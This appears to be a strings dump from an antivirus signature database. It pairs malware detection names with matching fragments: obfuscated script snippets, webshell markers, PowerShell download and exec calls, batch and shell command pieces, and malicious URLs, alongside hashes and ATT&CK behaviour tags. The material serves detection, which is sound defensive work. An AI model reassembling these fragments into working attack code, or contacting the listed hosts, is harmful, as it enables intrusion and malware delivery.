!#SCRIPT:Exploit:JS/AimesuJ3 sprayslide=sprayslide.substring(0, $sprayslide=sprayslide.substring(0, !#SCRIPT:Exploit:JS/AimesuO3 document.body.appendchild(otrtorol $document.body.appendchild(otrtorol !#SCRIPT:ExpwrapCreateProc.B methodname $methodname >start< >powershell document.body.style.cursor='wait'; $document.body.style.cursor='wait'; document.onmousedown=norightclick; $document.onmousedown=norightclick; updateTimer();}countdown( $updateTimer();}countdown(  ,5,0); !#SCRIPT:JS/ExplFlashCheck.A .swfobjectutil.getplayerversion(); $.swfobjectutil.getplayerversion(); !#SCRIPT:RevobfoosBExclusion adatemllehsrewop< $adatemllehsrewop< 0\"=noisrevlmx?< !#TEL:PHP/Dirtelti.BTR10!mtb array_map(base64_decode( $array_map(base64_decode( !#Trojan:BAT/Sciptos.SB1!MTB if%date%== $if%date%==  =%localappdata% !#Trojan:BAT/Sciptos.YA2!MTB ping8.8.8.8|>nulfind/i\"ttl=\"&&goto $ping8.8.8.8|>nulfind/i\"ttl=\"&&goto !#Trojan:JS/Sodinokibi.SA!A7 $else ++;}return !#Trojan:Linux/Downloader.M3 ./ssh;rm-rf3update.x86sshhistory-c $./ssh;rm-rf3update.x86sshhistory-c !#Trojan:O97M/DPlink.A!atb17 $<deeplink> 0rundll32 javascript !#SCPT:CodeOnly.Chewglobber.D elfmemorystreamer_getentry_offset #elfmemorystreamer_getentry_offset !#SCPT:RTF.LikelyObfuscated.B #}{\\p !#SCPT:RansomNote:NetWalker.B filesforthiscomputerhasextension: #filesforthiscomputerhasextension: !#SCPT:Trojan:BAT/Starter.G10 #cmd.exe /cstartdrive.bat&\"drive !#SCPT:Trojan:VBS/Danabot.CS3 .getspecialfolder(cint(\"2\"))+\"\\\") #.getspecialfolder(cint(\"2\"))+\"\\\") varstr='v!a!r#?p#l#0!6#w?n#h^k^^= #varstr='v!a!r#?p#l#0!6#w?n#h^k^^= !#SCRIPT:Backdoor:JS/Moktik.B xxx', #xxx', :'ddd', :'uuu', :'ccc !#SCRIPT:Exploit:JS/Scanbox.H case8:case9:case13:case32:case37: #case8:case9:case13:case32:case37: !#SCRPT:Trojan:VBS/Movanide.1 callmoveandhide(\"\\installer.vbs\") #callmoveandhide(\"\\installer.vbs\") !#Trojan:Win32/Powieat.A3!MTB #invoke-webrequest-uri  -outfile$ !#ALF:Backdoor:PHP/WebShell.RF <title>5quarep4ntz5h3ll_</title> \"<title>5quarep4ntz5h3ll_</title> <title>jingklongbajingan</title> \"<title>jingklongbajingan</title> !#BRUTE:LNK:Expert:Feature:220 %cd%\\ \"%cd%\\  &&%windir%\\explorer%cd%\\ !#Backdoor:ASP/Webshell.G!ptb2 =runtime.getruntime().exec(str); \"=runtime.getruntime().exec(str); !#PowerShell:UACBypass!Lowfi.2 functiondisable-executionpolicy{ \"functiondisable-executionpolicy{ !#Ransom:AndroidOS/SimpLock.D3 res/xml/ \"res/xml/ device_admin_data.xml !#SCPT:PWS:HTML/PhishYahooMail onclick=\"openoffersdialogyahoo() \"onclick=\"openoffersdialogyahoo() !#SCPT:Trojan:JS/Tnega.SK2!MTB returnstr.split(\"n\").join(\"31\"); \"returnstr.split(\"n\").join(\"31\"); !#SCRIPT:Exploit:JS/Pangimop-5 type=\"application/x-java-applet\" \"type=\"application/x-java-applet\" !#SCRIPT:Exploit:SWF/Netis.Z-2 http://adobe.com/as3/ \"http://adobe.com/as3/ /builtin audio( \"audio( 0.mp3  .loop=true; !#SCRIPT:PHP/Phisherthe.B1!MTB =$_server['remote_addr'].\"\\r\\n\"; \"=$_server['remote_addr'].\"\\r\\n\"; !#SCRIPT:Ransom:HTML/Sarento.A .onion.cab///vict?cust= \".onion.cab///vict?cust= (&guid= !#SCRIPT:Worm:JS/Bondat!Crypt1 varb=[], \"varb=[],  parseint, @},a=\" !#SCRIPT:Worm:JS/Bondat!Crypt2 \"split )d.push( 36c)^t); =($_request[' \"=($_request[' ']);system( !#SCPT:GoPkgMainImportCryptoTls packagemainimport( d!packagemainimport(  crypto/tls !#SCPT:Trojan:JS/Tnega.SST2!MTB document.write(\"<scr\"+\"iptsrc=' !document.write(\"<scr\"+\"iptsrc=' !#SCRIPT:Exploit:JS/Foosace.A-1 if(navigator.useragent.indexof( !if(navigator.useragent.indexof( !#SCRIPT:HTML/AudioPlayViaSWF.B <embedsrc=\" !<embedsrc=\" 0.swf?file= P.mp3 !#SCRIPT:JS/RequestFullScreen.A element.mozrequestfullscreen(); !element.mozrequestfullscreen(); !#SCRIPT:PSExploitAPIImports.A2 kernel32.dllwaitforsingleobject !kernel32.dllwaitforsingleobject !#SCRIPT:PSExploitShellCode.A11 system.net.webclient !system.net.webclient Pdownload !#SCRIPT:Python/Passhunt.A2!MTB pwd:aclassforrecordingpasswords !pwd:aclassforrecordingpasswords !#SCRIPT:SuspAmsiWmiClassName.A !#TEL:Ransom:O97M/GermanWiper.A http://expandingdelegation.top/ !http://expandingdelegation.top/ !#Trojan:HTML/Infwebpage.A3!MTB for(i=string.length-1;i>=0;i--) !for(i=string.length-1;i>=0;i--)  !#ALF:Backdoor:JAVA/Webshell.RFN )K !#ALF:Backdoor:JAVA/Webshell.RFN pwnshell-aninteractivejspshell  pwnshell-aninteractivejspshell  !#SCPT:Exploit:JS/Blacole.substr )K !#SCPT:Exploit:JS/Blacole.substr +=string[fr]((p(s.substr(i,2),  +=string[fr]((p(s.substr(i,2),  !#SCPT:Obfuscator.Split.dotcom.A )K !#SCPT:Obfuscator.Split.dotcom.A  (46+ \"m\"(109  !#SCPT:Trojan:HTML/Phish.PM3!MTB )K !#SCPT:Trojan:HTML/Phish.PM3!MTB vare=url.searchparams.get(\"e\")  vare=url.searchparams.get(\"e\")  !#SCPT:Trojan:HTML/Phish.SM2!MTB )K !#SCPT:Trojan:HTML/Phish.SM2!MTB  !#SCPT:Trojan:HTML/Phish.SY3!MTB )K !#SCPT:Trojan:HTML/Phish.SY3!MTB (\"loginisok\")!=-1){$(\"#load2\")  (\"loginisok\")!=-1){$(\"#load2\")  !#SCPT:Trojan:PDF/Phish.PDA4!MTB )K !#SCPT:Trojan:PDF/Phish.PDA4!MTB reason:550spammessagerejected.  reason:550spammessagerejected. )K !#SCPT:Trojan:Python/Banker.VCX1 key=winreg.openkey(0x80000001,  key=winreg.openkey(0x80000001,  !#SCPT:Trojan:VBS/Obfuse.RV4!MTB )K !#SCPT:Trojan:VBS/Obfuse.RV4!MTB right(w1,len(w1)-instr(w1,w2))  right(w1,len(w1)-instr(w1,w2))  !#SCPT:TrojanProxy:BAT/Banker.G2 )K !#SCPT:TrojanProxy:BAT/Banker.G2 .db\"(start/low/miniexplore.exe  .db\"(start/low/miniexplore.exe )K !#SCRIPT:JS/TechMsgTimeoutCode.A settimeout(function(){confirm(  settimeout(function(){confirm(  !#SCRIPT:Powershell/MathTruncate )K !#SCRIPT:Powershell/MathTruncate =[math]::truncate(  =[math]::truncate(  *100) )K !#SCRIPT:Trojan:BAT/Qhost.AF_etc %%tokddddddd%c%uhhiuhukm%omset  %%tokddddddd%c%uhhiuhukm%omset =%traffikback%%df2%c%som%omset  =%traffikback%%df2%c%som%omset =d%esche%r%nichevoshenki%ivset  =d%esche%r%nichevoshenki%ivset =em%rtrjjdddjjjjr%32\\dr%what%i  =em%rtrjjdddjjjjr%32\\dr%what%i =em%rtrjjjjjjjjjr%32\\dr%what%i  =em%rtrjjjjjjjjjr%32\\dr%what%i  !#TEL:Exploit:HTML/Meercat.C!dha )K !#TEL:Exploit:HTML/Meercat.C!dha <title>xxxcontrolpanel</title>  <title>xxxcontrolpanel</title>  !#TEL:Exploit:Python/MILWORM.HZ4 )K !#TEL:Exploit:Python/MILWORM.HZ4 +=struct.pack(\"<l\",0x7c577b03)  +=struct.pack(\"<l\",0x7c577b03)  !#Trojan:AutoIt/Nanocore.PA1!MTB )K !#Trojan:AutoIt/Nanocore.PA1!MTB dim$startupdir=@tempdir&\"\\  dim$startupdir=@tempdir&\"\\  !#TrojanDropper:VBS/Bynoco!ptb06 )K !#TrojanDropper:VBS/Bynoco!ptb06 decodebase64=el.nodetypedvalue  decodebase64=el.nodetypedvalue !!#SCPT:CmdMultiSlashPatterns.AMSI )K!!#SCPT:CmdMultiSlashPatterns.AMSI rtcshell(\"cmd !!#SCPT:Exploit:JS/Blacole.forloop )K!!#SCPT:Exploit:JS/Blacole.forloop .length; +=2){ !!#SCPT:HackTool:VBA/CreateShell.B )K!!#SCPT:HackTool:VBA/CreateShell.B createobject(\"wscript.shell\") !!#SCPT:O97M/ObfShellLaunch.A!amsi )K!!#SCPT:O97M/ObfShellLaunch.A!amsi @powershell !!#SCPT:Phish:PHP/Php_Get_Email.GG )K!!#SCPT:Phish:PHP/Php_Get_Email.GG <?php$email=$_get['email'];?> !!#SCPT:Ransom:BAT/Clop_Exclusion1 )K!!#SCPT:Ransom:BAT/Clop_Exclusion1 cuckoo/protections/behaviours !!#SCPT:Trojan:Linux/CoinMiner.JJ2 )K!!#SCPT:Trojan:Linux/CoinMiner.JJ2 pgrep-fmonerohash|xargskill-9 !!#SCPT:Trojan:VBS/CoinMiner.A!ab3 )K!!#SCPT:Trojan:VBS/CoinMiner.A!ab3 objwmi.execquery(\" p\").count !!#SCPT:Trojan:VBS/Obfuse.DRB1!MTB )K!!#SCPT:Trojan:VBS/Obfuse.DRB1!MTB strreverse(\"==ai\"+\"layxguci\") !!#SCPT:TrojanSpy:JS/BrobanDel.A13 )K!!#SCPT:TrojanSpy:JS/BrobanDel.A13 /^([1-9]*)[0]*([1-9][ d]*)/ !!#SCPT:VBSCUpdateSystemParameters )K!!#SCPT:VBSCUpdateSystemParameters updateperusersystemparameters !!#SCPT:VirTool:JS/Obfuscator.HJ.2 )K!!#SCPT:VirTool:JS/Obfuscator.HJ.2 ,0,0);};}catch(er){};}; !!#SCRIPT:BAT/TechWindowMaximize.A )K!!#SCRIPT:BAT/TechWindowMaximize.A echowindowstate=\"maximize\"/^> !!#SCRIPT:PowerShell/Macroburst.H3 )K!!#SCRIPT:PowerShell/Macroburst.H3 get-azureadcurrentsessioninfo !!#SCRIPT:Worm:ALisp/Blemfox.C!srv )K!!#SCRIPT:Worm:ALisp/Blemfox.C!srv princ-yjfwqusmtp.qq.com[princ !!#TEL:Backdoor:PHP/Webshell.P!vc1 )K!!#TEL:Backdoor:PHP/Webshell.P!vc1 ('w'.'scr'.'ip'.'t.she'.'ll') !!#TEL:Backdoor:PHP/Webshell.P!vc2 )K!!#TEL:Backdoor:PHP/Webshell.P!vc2 exploit:breakfuckingsafe-mode !!#Trojan:Win32/AgentTesla.QA4!MTB )K!!#Trojan:Win32/AgentTesla.QA4!MTB execute(\"chrw(- \"!#ALF:Exploit:Script/Hathler.G!dha )K\"!#ALF:Exploit:Script/Hathler.G!dha mstscexpl*me=newmstscexpl(); \"!#SCPT:AutoItMacro_LocalAppDataDir )K\"!#SCPT:AutoItMacro_LocalAppDataDir @localappdatadir \"!#SCPT:AutoItMacro_ProgramFilesDir )K\"!#SCPT:AutoItMacro_ProgramFilesDir @programfilesdir \"!#SCPT:AutoItMacro_TrayIconVisible )K\"!#SCPT:AutoItMacro_TrayIconVisible @trayiconvisible )K\"!#SCPT:Exploit:Win32/ShellCode.Y.1 1158b9 0-9a-f000049803408 \"!#SCPT:JS/Nemucod.Undefined2xStart )K\"!#SCPT:JS/Nemucod.Undefined2xStart ()[['undefined','undefined', \"!#SCPT:JS/Obfuscator.Hex.Replace.A )K\"!#SCPT:JS/Obfuscator.Hex.Replace.A \\x72\\x65\\x70\\x6c\\x61\\x63\\x65 \"!#SCRIPT:PowerShell/Internaloff.D3 )K\"!#SCRIPT:PowerShell/Internaloff.D3 get-accesstokenusingaadgraph \"!#SCRIPT:PowerShell/RegistryHive.A )K\"!#SCRIPT:PowerShell/RegistryHive.A microsoft.win32.registryhive \"!#SCRIPT:Trojan:JS/Kilim!FB_MalUrl )K\"!#SCRIPT:Trojan:JS/Kilim!FB_MalUrl hizliservis.pw/php/askfm.php redbayi.com/winatom/user.php \"!#SCRIPT:Trojan:MSIL/Moloterae!lnk )K\"!#SCRIPT:Trojan:MSIL/Moloterae!lnk .nattly.com chrome.exewww \"!#TrojanDownloader:JS/Genbhv.C!vc2 )K\"!#TrojanDownloader:JS/Genbhv.C!vc2 gasstove(monkeyb(jiepak(null \"!#TrojanDownloader:VBS/Obfus.A!al1 )K\"!#TrojanDownloader:VBS/Obfus.A!al1 cmd/c%tmp%\\avantfirewall.exe #!#ALF:Trojan:PHP/Dirtelti.BTR07!mtb )K#!#ALF:Trojan:PHP/Dirtelti.BTR07!mtb require request[ <?php   <?php #!#Exploit:O97M/CVE-2017-8570.Gatb02 )K#!#Exploit:O97M/CVE-2017-8570.Gatb02 }}}numbernfigureversionhigh #!#SCPT:AutoItApi_GetSystemDEPPolicy )K#!#SCPT:AutoItApi_GetSystemDEPPolicy _winapi_getsystemdeppolicy( #!#SCPT:Backdoor:ASP/Dirtelti.J1!MTB )K#!#SCPT:Backdoor:ASP/Dirtelti.J1!MTB webadmin2.xfinalisawebshell #!#SCPT:Backdoor:PHP/Nishang.B!ns004 )K#!#SCPT:Backdoor:PHP/Nishang.B!ns004 .synopsisnishangscriptwhich #!#SCPT:JS/Obfuscator.Array.Concat.A )K#!#SCPT:JS/Obfuscator.Array.Concat.A [0][0]+ #!#SCPT:JS/Obfuscator.Split.charat.A )K#!#SCPT:JS/Obfuscator.Split.charat.A ch\"+\"a #!#SCPT:TrojanDownloader:JS/Tnega.L4 )K#!#SCPT:TrojanDownloader:JS/Tnega.L4 .getruntime().exec( )K#!#SCRIPT:Worm:Win32/Gamarue.gen!lnk ,_ldr@16desktop.inirettls\"\" #!#TELPER:Exploit:O97M/CVE-2017-8759 )K#!#TELPER:Exploit:O97M/CVE-2017-8759 {\\object\\objlink\\objupdate\\ {\\object\\objupdate\\objlink\\ #!#TrojanDownloader:O97M/Slinjek.MR1 )K#!#TrojanDownloader:O97M/Slinjek.MR1 s^et/p=\"\"gundem.com/cat.php )K#!#TrojanDownloader:Win32/Lnkget.gen .vbs> .bat&echostart $!#Exploit:O97M/DDEDownloader.J!atob5 )K$!#Exploit:O97M/DDEDownloader.J!atob5 <w:instrtext>.exe\"http://< $!#SCPT:Backdoor:PHP/Webshell.S!al001 )K$!#SCPT:Backdoor:PHP/Webshell.S!al001 $hhc=\"$hhcpath\"+\"\\hhc.exe\" $!#SCPT:CodeOnly.RpivotClientServer.C )K$!#SCPT:CodeOnly.RpivotClientServer.C socks_server_reply_success $!#SCPT:Obfuscator.LongVariableName.A )K$!#SCPT:Obfuscator.LongVariableName.A a-z0-9=\" $!#SCPT:Trojan:JS/WmiCreateProc.B!ams )K$!#SCPT:Trojan:JS/WmiCreateProc.B!ams $!#Script:Phish:PHP/PhishBank.AD2!MTB )K$!#Script:Phish:PHP/PhishBank.AD2!MTB [base64_decode('zmlszq==') $!#Script:Trojan:JS/SpelevoEK.AD!MTB4 )K$!#Script:Trojan:JS/SpelevoEK.AD!MTB4 functioncheckversionflash( $!#Trojan:PowerShell/CoinMiner.B!ptb4 )K$!#Trojan:PowerShell/CoinMiner.B!ptb4 cmd/cschtasks/delete/f/tn\\ $!#TrojanDownloader:VBS/Agent.RX3!MTB )K$!#TrojanDownloader:VBS/Agent.RX3!MTB chr(37)\"app\"\"data\"chr(37)\" %!#BRUTE:Exploit:Java/CVE-2008-5353.C3 )K%!#BRUTE:Exploit:Java/CVE-2008-5353.C3 java/io/objectinputstream %!#Exploit:O97M/CVE-2017-11882.AC!ats2 )K%!#Exploit:O97M/CVE-2017-11882.AC!ats2 winexecsjm$$rexitprocesss %!#Exploit:O97M/CVE-2017-11882.X!smk01 )K%!#Exploit:O97M/CVE-2017-11882.X!smk01 vuhttp://bit.ly/  %!#SCPT:AutoItApi_WinNet_AddConnection )K%!#SCPT:AutoItApi_WinNet_AddConnection _winnet_addconnection %!#SCPT:Backdoor:HTML/PoisonTap!listen )K%!#SCPT:Backdoor:HTML/PoisonTap!listen server.listen @poisontap %!#SCPT:Exploit:O97M/CVE-2017-0199.JF2 )K%!#SCPT:Exploit:O97M/CVE-2017-0199.JF2 urihttps://bit.ly/3kvdcmi %!#SCPT:JS/Obfuscator.Split.response.A )K%!#SCPT:JS/Obfuscator.Split.response.A .respon\"+\"s %!#SCPT:SchTaskNetworkServiceAccntPriv )K%!#SCPT:SchTaskNetworkServiceAccntPriv <userid>s-1-5-20</userid> %!#SCPT:XML/MaliciousLink.TopLevelFile )K%!#SCPT:XML/MaliciousLink.TopLevelFile http://d.xmapps.net/i.php %!#SCRIPT:Exploit:JS/CVE-2013-2551.D-3 )K%!#SCRIPT:Exploit:JS/CVE-2013-2551.D-3 6?'%8d%76%04':'%90%90%90' %!#SCRIPT:PowerShell/DllImportKernel32 )K%!#SCRIPT:PowerShell/DllImportKernel32 dllimport( %!#SCRIPT:PowerShell/DllImportNetapi32 )K%!#SCRIPT:PowerShell/DllImportNetapi32 netapi32.dll )K%!#SCRIPT:PowerShell/Mimikittenz.A!dev user=.{1,50}&pass=.{1,50} %!#SCRIPT:VirTool:Win32/AutInject.AL_3 )K%!#SCRIPT:VirTool:Win32/AutInject.AL_3 fileread(@tempdir&\"\\f.txt &!#Exploit:O97M/CVE-2017-11882.AB!atob6 )K&!#Exploit:O97M/CVE-2017-11882.AB!atob6 550072006c004d006f006e00 &!#Exploit:O97M/CVE-2017-11882.AG!ats02 )K&!#Exploit:O97M/CVE-2017-11882.AG!ats02 rtf\\object\\ 0\\198923813 )K&!#SCPT:Exploit:JS/Blacole.fromcharcode +=string[\"fromcharcode\"] &!#SCPT:Phish:PHP/Urlpat_Rand13I )K&!#SCPT:Phish:PHP/Urlpat_Rand13I f64d08308082ad26be60767 a0e9f5d64349fb13191bc781f81f42e1:f176ba63b4d68e576b5ba345bec2c7b7 Ba0e9f5d64349fb13191bc781f81f42e1:f176ba63b4d68e576b5ba345bec2c7b7 d0ec4b50a944b182fc10ff51f883ccf7:ae4edc6faf64d08308082ad26be60767 Bd0ec4b50a944b182fc10ff51f883ccf7:ae4edc6faf64d08308082ad26be60767 294b2f1dc22c6e6c3231d2fe311d504b:ae4edc6faf64d08308082ad26be60767 B294b2f1dc22c6e6c3231d2fe311d504b:ae4edc6faf64d08308082ad26be60767 a0e9f5d64349fb13191bc781f81f42e1:e35df3e00ca4ef31d42b34bebaa2f86e Ba0e9f5d64349fb13191bc781f81f42e1:e35df3e00ca4ef31d42b34bebaa2f86e a0e9f5d64349fb13191bc781f81f42e1:fd4bc6cea4877646ccd62f0792ec0b62 Ba0e9f5d64349fb13191bc781f81f42e1:fd4bc6cea4877646ccd62f0792ec0b62 a0e9f5d64349fb13191bc781f81f42e1:46e8c907c5cc3cf4b4420e76da5b4dba Ba0e9f5d64349fb13191bc781f81f42e1:46e8c907c5cc3cf4b4420e76da5b4dba a0e9f5d64349fb13191bc781f81f42e1:b31c0b82752ea0e2c48b8ce46e9263e5 Ba0e9f5d64349fb13191bc781f81f42e1:b31c0b82752ea0e2c48b8ce46e9263e5 72a589da586844d7f0818ce684948eea:fd4bc6cea4877646ccd62f0792ec0b62 B72a589da586844d7f0818ce684948eea:fd4bc6cea4877646ccd62f0792ec0b62 a0e9f5d64349fb13191bc781f81f42e1:6d6b821affda5de6562d217770a7ead0 Ba0e9f5d64349fb13191bc781f81f42e1:6d6b821affda5de6562d217770a7ead0 a0e9f5d64349fb13191bc781f81f42e1:567bb420d39046dbfd1f68b558d86382 Ba0e9f5d64349fb13191bc781f81f42e1:567bb420d39046dbfd1f68b558d86382 a0e9f5d64349fb13191bc781f81f42e1:ec74a5c51106f0419184d0dd08fb05bc Ba0e9f5d64349fb13191bc781f81f42e1:ec74a5c51106f0419184d0dd08fb05bc 51c64c77e60f3980eea90869b68c58a8:ae4edc6faf64d08308082ad26be60767 B51c64c77e60f3980eea90869b68c58a8:ae4edc6faf64d08308082ad26be60767 72a589da586844d7f0818ce684948eea:8cb68dc6ad0365d44af24b254ef70844 B72a589da586844d7f0818ce684948eea:8cb68dc6ad0365d44af24b254ef70844 a0e9f5d64349fb13191bc781f81f42e1:b7bd51222a09f3ad66a340710ae9c01a Ba0e9f5d64349fb13191bc781f81f42e1:b7bd51222a09f3ad66a340710ae9c01a a0e9f5d64349fb13191bc781f81f42e1:8cb68dc6ad0365d44af24b254ef70844 Ba0e9f5d64349fb13191bc781f81f42e1:8cb68dc6ad0365d44af24b254ef70844 d0ec4b50a944b182fc10ff51f883ccf7:b31c0b82752ea0e2c48b8ce46e9263e5 Bd0ec4b50a944b182fc10ff51f883ccf7:b31c0b82752ea0e2c48b8ce46e9263e5 ce5f3254611a8c095a3d821d44539877:ae4edc6faf64d08308082ad26be60767 Bce5f3254611a8c095a3d821d44539877:ae4edc6faf64d08308082ad26be60767 d0ec4b50a944b182fc10ff51f883ccf7:758945630046fd37070521b8544d1fe8 Bd0ec4b50a944b182fc10ff51f883ccf7:758945630046fd37070521b8544d1fe8 8916410db85077a5460817142dcbc8de:ae4edc6faf64d08308082ad26be60767 B8916410db85077a5460817142dcbc8de:ae4edc6faf64d08308082ad26be60767 a0e9f5d64349fb13191bc781f81f42e1:394441ab65754e2207b1e1b457b3641d Ba0e9f5d64349fb13191bc781f81f42e1:394441ab65754e2207b1e1b457b3641d 72a589da586844d7f0818ce684948eea:1af33e1657631357c73119488045302c B72a589da586844d7f0818ce684948eea:1af33e1657631357c73119488045302c a0e9f5d64349fb13191bc781f81f42e1:ccc514751b175866924439bdbb5bba34 Ba0e9f5d64349fb13191bc781f81f42e1:ccc514751b175866924439bdbb5bba34 a0e9f5d64349fb13191bc781f81f42e1:beb7069ae409bccfed702c17ad004223 Ba0e9f5d64349fb13191bc781f81f42e1:beb7069ae409bccfed702c17ad004223 1770c51ee209c73547f5e53e366b6152:46e8c907c5cc3cf4b4420e76da5b4dba B1770c51ee209c73547f5e53e366b6152:46e8c907c5cc3cf4b4420e76da5b4dba a0e9f5d64349fb13191bc781f81f42e1:1af33e1657631357c73119488045302c Ba0e9f5d64349fb13191bc781f81f42e1:1af33e1657631357c73119488045302c 51c64c77e60f3980eea90869b68c58a8:1af33e1657631357c73119488045302c B51c64c77e60f3980eea90869b68c58a8:1af33e1657631357c73119488045302c d0ec4b50a944b182fc10ff51f883ccf7:f176ba63b4d68e576b5ba345bec2c7b7 Bd0ec4b50a944b182fc10ff51f883ccf7:f176ba63b4d68e576b5ba345bec2c7b7 d0ec4b50a944b182fc10ff51f883ccf7:fd4bc6cea4877646ccd62f0792ec0b62 Bd0ec4b50a944b182fc10ff51f883ccf7:fd4bc6cea4877646ccd62f0792ec0b62 8916410db85077a5460817142dcbc8de:fd4bc6cea4877646ccd62f0792ec0b62 B8916410db85077a5460817142dcbc8de:fd4bc6cea4877646ccd62f0792ec0b62 c35a61411ee5bdf666b4d64b05c29e64:ae4edc6faf64d08308082ad26be60767 Bc35a61411ee5bdf666b4d64b05c29e64:ae4edc6faf64d08308082ad26be60767  5f0b3b316fe5f ? 5f0b3b316fe5fIncludesResearchData    runservices runservicesonce explorer_run  winlogon_shell winlogon_userinit winlogon_load winlogon_notify T1547.004  normalize_unicode tasks_actions T1053.002   :persistence_target :sourcefilename_ :sourceppid_    RegistryValueDataToFilePersistContext.A (RegistryValueDataToFilePersistContext.A  appendFilePersistContextFromList !appendFilePersistContextFromList persistence_source \\reg.exe \t\\reg.exe \\regedit.exe  \\syswow64\\services.exe :persistence_source appendNotExistingFilePersistContext $appendNotExistingFilePersistContext !#SLF:SimToolLaunch.F githubusercontent /atomic-red !#SLF:SimToolLaunch.D .picus.agent.service.exe \\picus agent\\ !#SLF:SimToolLaunch.E api/monkey/download/monkey !#SLF:SimToolLaunch.C 6attackiq\\firedrillagent.exe 2\\attackiq\\firedrillagent\\ !#ALF:Trojan:Win32/DefenderControl.B  /SYS 1  /TI 1 vtxtseg.exe $amivoicerewriter !#SLF:SimToolLaunch.A .sbsimulator_service.exe sbsimulator.exe \\sbsimulation cmd.exe /c echo sb_ windows\\temp\\sb-sim- !#SLF:SimToolLaunch.B 2cymulatefiledecryptor.exe >cymulateedrscenarioexecutor.exe \"cymulateagent.exe (cymulateelevated.exe &redteamexecutor.exe 0cymulateagentupdater.exe *cymulate\\edr_attacks\\ !#TEL:Win32/SuspPsExecProc.B  .exe $\\Windows Defender\\ \\Program Files\\ (\\Windows\\SystemApps\\ $\\Microsoft Office\\ :\\Windows\\System32\\svchost.exe J\\Windows\\System32\\CompatTelRunner.exe :\\Windows\\System32\\dllhost.exe P\\Windows\\System32\\SearchProtocolHost.exe P\\Windows\\System32\\SecurityHealthHost.exe 4\\Windows\\System32\\WerFault :\\Windows\\System32\\conhost.exe >\\Windows\\System32\\taskhostw.exe *\\TrustedInstaller.exe \\mscorsvw.exe !#BM_MT1055 !#BM_MT1083 !#BM_MT1057 !#ALF:AMSI2:ML:Ps:90 !#ALF:AMSI2:ML:Ps:95 !#ALF:ASR:ESRP_EneIo !#BM_XSL_FILE !#BM_MT1036.005 !#ALF:AMSI2:ML:Wmi:60 !#ALF:AMSI2:ML:Wmi:70 !#BM_MT1003.003:ntdsexfil !#BM_MT1570 !#ALF:ASR:ESRP_lha !#ALF:ASR:ESRP_Dbutil !#ALF:ASR:ESRP_RTCore64 !#ALF:ASR:ESRP_gmer !#ALF:ASR:ESRP_EneTechIo !#BM_MT1049:network_discovery !#BM_MT1074:datastage !#ALF:ASR:ESRP_DirectIO64 !#ALF:ASR:ESRP_smamp !#ALF:ASR:ESRP_atszio !#ALF:ASR:ESRP_iqvw64 !#ALF:ASR:ESRP_ssport !#ALF:ASR:ESRP_viragt !#ALF:ASR:ESRP_bsmi_asr !#ALF:ASR:ESRP_cpuz_asr !#ALF:ASR:ESRP_elby_asr !#ALF:ASR:ESRP_gdrv_asr !#ALF:ASR:ESRP_nicm_asr !#ALF:ASR:ESRP_nscm_asr !#BM_MT1570:remote_exedrop !#ALF:ASR:ESRP_mtcbsv64 !#ALF:ASR:ESRP_viragt64 !#ALF:ASR:ESRP_winring0 !#ALF:ASR:ESRP_sandra_asr !#BM_MT1497:SandboxEvasion !#BM_MT1547.001 (!#BM_MT1547.001 !#ALF:ExecDownWrd.J!ibt  !#ALF:ExecDownWrd.J!ibt !#ALF:AGGR:E5.Mampa:50!ml !#ALF:AGGR:E5.Mampa:60!ml !#ALF:AGGR:E5.Mampa:70!ml !#ALF:AGGR:E5.Mampa:80!ml !#ALF:AGGR:E5.Mampa:90!ml !#ALF:AGGR:E5.Mampa:95!ml !#ALF:AGGR:E5.Mampa:99!ml !#BM_MT1104:command_control_ps !#BM_MT1003.001:credentialdumping !#ALF:ASR:ESRP_physmem \"!#ALF:ASR:ESRP_physmem !#ALF:ASR:ESRP_libnicm_asr !#ALF:ASR:ESRP_ntiolib_asr !#ALF:ASR:ESRP_rtkio64_asr !#ALF:Exploit:UEFI/Drangoot.G1w !#BM_MT1105:ingress_tool !!#BM_MT1105:ingress_tool !#BM_MT1570:remote_scriptdrop !#ALF:ASR:ESRP_speedfan_asr !#ALF:OfcWrdPress.J!ibt $!#ALF:OfcWrdPress.J!ibt !#BM_MT1033:user_disovery $!#BM_MT1033:user_disovery  !#BM_MT1053.005:schtask_macro !#BM_MT1012:registry_discovery !#ALF:AGGR:E5.OpclCl:80!ml $!#ALF:AGGR:E5.OpclCl:80!ml !#ALF:AGGR:E5.OpclCl:90!ml $!#ALF:AGGR:E5.OpclCl:90!ml !#ALF:AGGR:E5.OpclCl:95!ml $!#ALF:AGGR:E5.OpclCl:95!ml !#ALF:AGGR:E5.OpclCl:99!ml $!#ALF:AGGR:E5.OpclCl:99!ml !#ALF:ASR:ESRP_biostar_io_asr !!#ALF:ASR:ESRP_biostar_io_asr !#ALF:ASR:ESRP_bs_hwmio64_asr !!#ALF:ASR:ESRP_bs_hwmio64_asr !#ALF:ASR:ESRP_rtkiow8x64_asr !!#ALF:ASR:ESRP_rtkiow8x64_asr !#BM_MT1010:app_discovery &!#BM_MT1010:app_discovery !#BM_MT1069:perm_discovery %!#BM_MT1069:perm_discovery !#ALF:ASR:ESRP_powertool_asr #!#ALF:ASR:ESRP_powertool_asr !#BM_MT1071.001:posh_webaccess !!#BM_MT1071.001:posh_webaccess !#BM_MT1033:user_discovery &!#BM_MT1033:user_discovery !#BM_MT1083:file_discovery &!#BM_MT1083:file_discovery !#ALF:ASR:ESRP_ProcessHacker $!#ALF:ASR:ESRP_ProcessHacker !#ALF:ASR:ESRP_rtkiow10x64_asr \"!#ALF:ASR:ESRP_rtkiow10x64_asr '!#BM_MT1083:file_discovery %!#BM_MT1082:system_discovery !#ALF:Exploit:UEFI/Drangoot.G2w #!#ALF:Exploit:UEFI/Drangoot.G2w 3!#BM_MT1036.005 !#BM_MT1007:system_discovery &!#BM_MT1007:system_discovery !#BM_MT1016:network_discovery %!#BM_MT1016:network_discovery !#ALF:ASR:ESRP_kernelbridge_asr #!#ALF:ASR:ESRP_kernelbridge_asr !#ALF:ASR:ESRP_nchgbios2x64_asr #!#ALF:ASR:ESRP_nchgbios2x64_asr !#ALF:ASR:ESRP_segwindrvx64_asr #!#ALF:ASR:ESRP_segwindrvx64_asr !#ALF:AGGR:E5.Webmail.Macro (!#ALF:AGGR:E5.Webmail.Macro &!#BM_MT1049:network_discovery !#BM_MT1057:process_discovery &!#BM_MT1057:process_discovery !#BM_MT1016 9!#BM_MT1016 !#BM_MT1543.003:svc_creation_scpt H!#!#BM_MT1543.003:svc_creation_scpt !#BM_MT1016:networkconfig_discovery H#!!#BM_MT1016:networkconfig_discovery !#BM_MT1120:device_discovery )!#BM_MT1120:device_discovery !#BM_MT1087.002:user_discovery '!#BM_MT1087.002:user_discovery 